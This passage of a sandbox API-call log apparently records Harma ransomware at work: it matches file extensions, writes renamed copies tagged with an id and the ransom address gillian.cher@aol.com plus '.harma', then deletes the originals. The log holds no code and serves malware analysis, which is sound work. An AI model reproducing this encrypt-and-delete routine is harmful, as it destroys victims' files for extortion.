returned -1 [0137.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0137.610] lstrlenW (lpString=".dbf") returned 4 [0137.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0137.611] lstrlenW (lpString=".1cd") returned 4 [0137.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0137.611] lstrlenW (lpString=".jpg") returned 4 [0137.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0137.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0137.611] lstrlenW (lpString=".doc") returned 4 [0137.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.611] lstrlenW (lpString=".docx") returned 5 [0137.611] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.611] lstrlenW (lpString=".pdf") returned 4 [0137.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.611] lstrlenW (lpString=".xls") returned 4 [0137.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.611] lstrlenW (lpString=".xlsx") returned 5 [0137.611] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.611] lstrlenW (lpString=".ppt") returned 4 [0137.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0137.611] lstrlenW (lpString=".zip") returned 4 [0137.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.612] lstrlenW (lpString=".rar") returned 4 [0137.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.612] lstrlenW (lpString=".bz2") returned 4 [0137.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.612] lstrlenW (lpString=".7z") returned 3 [0137.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0137.612] lstrlenW (lpString=".dbf") returned 4 [0137.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0137.612] lstrlenW (lpString=".1cd") returned 4 [0137.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0137.612] lstrlenW (lpString=".jpg") returned 4 [0137.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.612] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0137.612] lstrlenW (lpString="AN01174_.WMF") returned 12 [0137.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0137.613] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=27858) returned 1 [0137.613] CloseHandle (hObject=0x214) returned 1 [0137.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 0x20 [0137.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0137.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0137.614] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.614] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0138.765] GetLastError () returned 0x0 [0138.765] ReadFile (in: hFile=0x214, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x6cd2, lpOverlapped=0x0) returned 1 [0138.770] WriteFile (in: hFile=0x350, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x6ce0, lpOverlapped=0x0) returned 1 [0138.772] ReadFile (in: hFile=0x214, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0138.772] WriteFile (in: hFile=0x350, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0138.772] SetEndOfFile (hFile=0x350) returned 1 [0138.772] CloseHandle (hObject=0x350) returned 1 [0138.772] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0138.772] SetEndOfFile (hFile=0x214) returned 1 [0138.781] CloseHandle (hObject=0x214) returned 1 [0138.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0138.835] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 1 [0138.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0138.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0138.835] lstrlenW (lpString=".doc") returned 4 [0138.835] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0138.835] lstrlenW (lpString=".docx") returned 5 [0138.835] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0138.835] lstrlenW (lpString=".pdf") returned 4 [0138.835] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0138.835] lstrlenW (lpString=".xls") returned 4 [0138.835] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0138.835] lstrlenW (lpString=".xlsx") returned 5 [0138.835] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0138.835] lstrlenW (lpString=".ppt") returned 4 [0138.835] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0138.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0138.835] lstrlenW (lpString=".zip") returned 4 [0138.835] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0138.836] lstrlenW (lpString=".rar") returned 4 [0138.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0138.836] lstrlenW (lpString=".bz2") returned 4 [0138.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0138.836] lstrlenW (lpString=".7z") returned 3 [0138.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0138.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0138.836] lstrlenW (lpString=".dbf") returned 4 [0138.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0138.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0138.836] lstrlenW (lpString=".1cd") returned 4 [0138.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0138.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0138.836] lstrlenW (lpString=".jpg") returned 4 [0138.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0138.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0138.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0138.836] lstrlenW (lpString=".doc") returned 4 [0138.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0138.836] lstrlenW (lpString=".docx") returned 5 [0138.836] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0138.836] lstrlenW (lpString=".pdf") returned 4 [0138.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0138.836] lstrlenW (lpString=".xls") returned 4 [0138.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0138.836] lstrlenW (lpString=".xlsx") returned 5 [0138.836] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0138.836] lstrlenW (lpString=".ppt") returned 4 [0138.836] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0138.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0138.836] lstrlenW (lpString=".zip") returned 4 [0138.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0138.837] lstrlenW (lpString=".rar") returned 4 [0138.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0138.837] lstrlenW (lpString=".bz2") returned 4 [0138.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0138.837] lstrlenW (lpString=".7z") returned 3 [0138.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0138.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0138.837] lstrlenW (lpString=".dbf") returned 4 [0138.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0138.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0138.837] lstrlenW (lpString=".1cd") returned 4 [0138.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0138.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0138.837] lstrlenW (lpString=".jpg") returned 4 [0138.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0138.837] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0138.837] lstrlenW (lpString="AN01216_.WMF") returned 12 [0138.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0139.732] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=5836) returned 1 [0139.732] CloseHandle (hObject=0x33c) returned 1 [0139.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 0x20 [0140.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0140.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0140.323] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.323] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0140.336] GetLastError () returned 0x0 [0140.337] ReadFile (in: hFile=0x354, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x16cc, lpOverlapped=0x0) returned 1 [0140.338] WriteFile (in: hFile=0x340, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x16d0, lpOverlapped=0x0) returned 1 [0140.339] ReadFile (in: hFile=0x354, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0140.339] WriteFile (in: hFile=0x340, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.339] SetEndOfFile (hFile=0x340) returned 1 [0140.340] CloseHandle (hObject=0x340) returned 1 [0140.349] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.349] SetEndOfFile (hFile=0x354) returned 1 [0140.353] CloseHandle (hObject=0x354) returned 1 [0140.353] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0140.398] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 1 [0140.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0140.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0140.402] lstrlenW (lpString=".doc") returned 4 [0140.402] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.402] lstrlenW (lpString=".docx") returned 5 [0140.402] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.402] lstrlenW (lpString=".pdf") returned 4 [0140.402] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.402] lstrlenW (lpString=".xls") returned 4 [0140.402] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.402] lstrlenW (lpString=".xlsx") returned 5 [0140.402] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.402] lstrlenW (lpString=".ppt") returned 4 [0140.402] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0140.403] lstrlenW (lpString=".zip") returned 4 [0140.403] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.403] lstrlenW (lpString=".rar") returned 4 [0140.403] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.403] lstrlenW (lpString=".bz2") returned 4 [0140.403] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.403] lstrlenW (lpString=".7z") returned 3 [0140.403] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0140.403] lstrlenW (lpString=".dbf") returned 4 [0140.403] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0140.403] lstrlenW (lpString=".1cd") returned 4 [0140.403] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0140.403] lstrlenW (lpString=".jpg") returned 4 [0140.403] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0140.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0140.404] lstrlenW (lpString=".doc") returned 4 [0140.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.404] lstrlenW (lpString=".docx") returned 5 [0140.404] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.404] lstrlenW (lpString=".pdf") returned 4 [0140.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.404] lstrlenW (lpString=".xls") returned 4 [0140.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.404] lstrlenW (lpString=".xlsx") returned 5 [0140.404] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.404] lstrlenW (lpString=".ppt") returned 4 [0140.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0140.404] lstrlenW (lpString=".zip") returned 4 [0140.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.404] lstrlenW (lpString=".rar") returned 4 [0140.404] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.404] lstrlenW (lpString=".bz2") returned 4 [0140.404] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.404] lstrlenW (lpString=".7z") returned 3 [0140.405] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0140.405] lstrlenW (lpString=".dbf") returned 4 [0140.405] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0140.405] lstrlenW (lpString=".1cd") returned 4 [0140.405] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0140.405] lstrlenW (lpString=".jpg") returned 4 [0140.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.405] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0140.405] lstrlenW (lpString="AN04191_.WMF") returned 12 [0140.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0140.406] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=6636) returned 1 [0140.406] CloseHandle (hObject=0x358) returned 1 [0140.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 0x20 [0140.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0140.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0140.407] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.407] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0140.408] GetLastError () returned 0x0 [0140.408] ReadFile (in: hFile=0x358, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x19ec, lpOverlapped=0x0) returned 1 [0140.613] WriteFile (in: hFile=0x35c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x19f0, lpOverlapped=0x0) returned 1 [0140.614] ReadFile (in: hFile=0x358, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0140.614] WriteFile (in: hFile=0x35c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.614] SetEndOfFile (hFile=0x35c) returned 1 [0140.614] CloseHandle (hObject=0x35c) returned 1 [0140.615] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.615] SetEndOfFile (hFile=0x358) returned 1 [0141.293] CloseHandle (hObject=0x358) returned 1 [0141.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0141.721] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 1 [0141.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0141.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0141.721] lstrlenW (lpString=".doc") returned 4 [0141.721] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.721] lstrlenW (lpString=".docx") returned 5 [0141.721] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.722] lstrlenW (lpString=".pdf") returned 4 [0141.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.722] lstrlenW (lpString=".xls") returned 4 [0141.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.722] lstrlenW (lpString=".xlsx") returned 5 [0141.722] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.722] lstrlenW (lpString=".ppt") returned 4 [0141.722] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0141.722] lstrlenW (lpString=".zip") returned 4 [0141.722] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.722] lstrlenW (lpString=".rar") returned 4 [0141.722] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.722] lstrlenW (lpString=".bz2") returned 4 [0141.722] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.722] lstrlenW (lpString=".7z") returned 3 [0141.722] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0141.722] lstrlenW (lpString=".dbf") returned 4 [0141.722] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0141.722] lstrlenW (lpString=".1cd") returned 4 [0141.722] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0141.722] lstrlenW (lpString=".jpg") returned 4 [0141.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.723] lstrlenW (lpString="C:\\Program Files\\Microsoft 